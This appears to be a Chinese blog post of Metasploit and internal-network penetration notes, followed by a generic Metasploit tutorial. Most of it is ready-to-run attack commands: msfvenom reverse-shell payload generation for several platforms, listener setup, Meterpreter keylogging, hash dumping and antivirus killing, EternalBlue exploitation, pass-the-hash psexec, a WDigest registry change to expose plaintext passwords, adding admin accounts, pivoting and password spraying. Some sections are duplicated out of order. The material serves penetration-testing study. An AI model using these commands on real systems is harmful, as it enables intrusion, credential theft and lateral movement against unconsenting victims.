metasploit使用及内网笔记

1 基本操作

Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。

1.1运行

Shell中直接输入msfconsole

1.2 建立搜索缓存(数据库)

启动PostgreSQL数据库服务 :service postgresql start 监听5432端口
初始化Metasploit数据库 :msfdb init
查看数据库联接情况 :msfconsole db_status
建立数据库缓存 :msfconsole db_rebuild_cache

1.3 专业术语

– Exploit,攻击工具/代码
– Payload,攻击载荷
– Shellcode shell 代码
– Module,模块
– Listener,监听器

1.4 命令

常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退 set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
Cd 更改当前的工作目录
核心命令
Sessions 转储会话列表并显示有关会话的信息
Color 切换颜色
Set 将特定于上下文的变量设置为一个值
Connect 连接与主机通信
Setg 将全局变量设置为一个值
exit 退出控制台
sleep 在指定的秒数内不做任何事情
get 获取特定于上下文的变量的值
spool 将控制台输出写入文件以及屏幕
getg 获取全局变量的值
threads 线程查看和操作后台线程
grep grep 另一个命令的输出
unload 卸载框架插件
history 显示命令历史
unset 取消设置一个或多个特定于上下文的变量
irb 进入irb脚本模式
unsetg 取消设置一个或多个全局变量
load 加载一个框架插件
version 显示框架和控制台库版本号
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
数据库后端命令
analyze 分析有关特定地址或地址范围的数据库信息
db_connect 连接到现有数据服务
db_disconnect 断开与当前数据服务的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(将自动检测文件类型)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_remove 删除已保存的数据服务条目
db_save 将当前数据服务连接保存为启动时重新连接的默认值
db_status 显示当前数据服务状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭据后端命令
creds 列出数据库中的所有凭据
模块命令
Advanced 显示一个或多个模块的高级选项
2 Metasploit功能程序
msfvenom (攻击载荷生成和编码器)
主要参数:-p payload-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值LHOST,LPORT 监听
上线的主机IP和端口-f exe 生成EXE格式使用msfvenom -l 可以查看可以利用payloadmsfvenom -l
| grep windows | grep x64 | grep tcp 选择payload
2.1 生成可执行文件
Back 从当前上下文返回
Edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
setdesktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
run vnc #使用vnc远程桌面连接

2 Metasploit功能程序

msfvenom (攻击载荷生成和编码器)

  • 主要参数:-p payload-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值LHOST,LPORT 监听

    上线的主机IP和端口-f exe 生成EXE格式使用msfvenom -l 可以查看可以利用payloadmsfvenom -l

    | grep windows | grep x64 | grep tcp 选择payload

2.1 生成可执行文件

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > shell.pl

2.2 监听

set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态)
exploit -j –z -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)
12345

也可以在启动的时候监听

msfconsole -x "use exploit/multi/handler; set payload
windows/meterpreter/reverse_http; set lhost 127.0.0.1; set lport 1234; exploit -
j; "

高级选项

set PrependMigrate true 自动添加新进程

2.3 实例

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b
'\x00' LHOST=10.10.10.150 LPORT=4444 -f exe > abc.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.150 LPORT=4444 -f exe
> abc.exe

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 10.10.10.150
msf exploit(handler) > set ExitOnSession false
set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态)
msf exploit(handler) > exploit -j -z
-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs 查看后台攻击任务
msf exploit(handler) > kill <id> 停止某后台攻击任务
msf exploit(handler) > sessions -l (查看会话)

background 放置后台
msf exploit(handler) > sessions 1 选择会话
msf exploit(handler) > sessions -k 1 结束会话

Ctrl+z 把会话放到后台
Ctrl+c 结束会话

3 Meterpreter后攻击

Meterpreter提供的功能包括反追踪、纯内存工作模式、系统 信息获取、密码哈希导出、文件上传下

载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。

3.1 常用命令:

meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式:去掉如下参数前面的注释

4.现对目标主机进行自动漏洞攻击

db_nmap + db_autopwn

项目地址 https://github.com/hahwul/metasploit-autopwn

复制到插件目录

cp db_autopwn.rb /opt/metasploit-framework/plugins

加载插件

load db_autopwn

使用说明

db_autopwn
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output
-R [rank] Only run modules with a minimal rank
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex
-T [secs] Maximum runtime for any exploit in seconds

常用命令

db_autopwn -t -p -r
db_autopwn -p -m exploit/windows/smb/ms17_010_eternalblue -e

5.内网渗透 ms17_010_eternalblue 永恒之蓝 获取权限

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost 10.10.10.135
set lport 4444
exploitvi

6.内网渗透 获取hash和明文

在最新的版本中load mimikatz已经取消 现在使用kiwi模块

load kiwi

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

提示在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

7.内网渗透 psexec

在metasploite中存在一个psexec模块可以使用获取的hash进行登录

use exploit/windows/smb/psexec
set SMBUser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
set payload windows/meterpreter/reverse_tcp
set rhosts 10.10.10.139
set lhost 10.10.10.150
set lport 6666
run

除了可以用hash 也可以使用明文

8.内网渗透 开启远程终端 添加账号

getgui 模块——开启远程桌面

run getgui -e 开启远程终端
run post/windows/manage/enable_rdp
run getgui -u m -p QWEasd123 添加本地管理员

8.端口转发

如果服务器防火墙开启的情况下,有可能拦截远程终端端口,使用命令把远程端口3389转发出来

Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> Forward: local host to listen on (optional). Reverse: local host to
connect to.
-R Indicates a reverse port forward.
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list"
command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect
to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen
on.
-r <opt> Forward: remote host to connect to.

转发3389端口

portfwd add -l 1234 -p 3389 -r 10.10.10.138 #受害者主机
rdesktop 127.0.0.1:1234

9.跨路由访问

在渗透测试过程中,经常拿到web主机与数据库不同在一个网段,可以得出这台主机还连着一个内网,

如果想要继续渗透内网,可以把这台web主机当作跳板机,对内网进行渗透

kali无法直接访问目标主机 但是kali获取受害者的权限 得知可以访问目标主机,所以可以通过受害者做跳板访问目标主机

获取内网网卡命令

run get_local_subnets

绑定路由 不绑定路由就没法访问目标主机

run autoroute -s 10.10.10.0/24

使用隧道 默认是使用socks5 也可以选择socks4a

use auxiliary/server/socks_proxy

编辑隧道配置文件

sudo vi /etc/proxychains4.conf

proxychains4 nmap 10.10.10.138 -sT -A -p 445

10.域信息收集

常用信息收集模块

auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname

收集域信息

run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token

11.密码喷射

检测 用户账号

auxiliary/gather/kerberos_enumusers #Kerberos 用户名枚举–用户名字典
https://github.com/attackdebris/kerberos_enum_userlists
msf6 auxiliary(gather/kerberos_enumusers) > set DOMAIN redteam.club
msf6 auxiliary(gather/kerberos_enumusers) > set rhosts 10.10.10.136
msf6 auxiliary(gather/kerberos_enumusers) > set user_file ~/Desktop/user
msf6 auxiliary(gather/kerberos_enumusers) > set smbpass pass@123

注意 在尝试猜测密码时, 应考虑域的帐户锁定策略。一个明智的方法是一次尝试一个密码, 限制自己猜测两次(系统设置为锁定后3无效尝试) 或猜测四次(系统设置为锁定5无效尝试后) 每30分钟对一个帐户。30分钟是典型的 “lockout observation window”。

12.令牌登录

oad incognito #加载incognito
list_tokens -u #列出当前系统可用的token
impersonate_token 'NT AUTHORITYSYSTEM' #假冒SYSTEM token or
impersonate_token NT AUTHORITY\SYSTEM #参数不加单引号需要对特殊字符进行转义
rev2self #返回原始token

13.steal_token窃取令牌

ps #查看系统进程信息
steal_token <pid值> #从指定进程中窃取token
drop_token #删除窃取的token
  • 25
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Metasploit是一个广泛使用的渗透测试工具,用于发现和利用安全漏洞。下面是一个简要的Metasploit使用教程: 1. 安装Metasploit:你可以从官方网站(https://www.metasploit.com/)下载Metasploit框架。根据你的操作系统选择适当的版本,并按照安装指南进行安装。 2. 了解基础知识:在使用Metasploit之前,建议你对网络协议、漏洞利用和渗透测试等基础知识有一定的了解。这将帮助你更好地理解和使用Metasploit。 3. 启动Metasploit:安装完成后,你可以通过命令行或者图形界面启动Metasploit。启动后,你将看到一个交互式的命令行界面。 4. 扫描目标:在使用Metasploit之前,你需要扫描目标网络或主机来发现潜在的漏洞。你可以使用Nmap等工具进行端口扫描、服务识别等操作。 5. 选择并配置模块:Metasploit提供了许多不同类型的模块,包括扫描模块、漏洞利用模块、Payload模块等。你可以使用search命令查找相关模块,并使用use命令选择需要的模块。 6. 设置目标:使用set命令配置目标主机的IP地址、端口等信息。你还可以使用options命令查看和修改模块的参数设置。 7. 运行模块:配置完成后,你可以使用exploit命令运行模块。Metasploit将尝试利用已知漏洞攻击目标主机。 8. 获取访问权限:成功运行模块后,你可能会获得对目标主机的访问权限。这包括远程命令执行、文件上传/下载等功能。 请注意,Metasploit是一个强大的工具,需要在合法授权和合规的情况下使用。在进行任何渗透测试活动之前,务必遵循适当的法律和道德准则,并获得相关许可。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值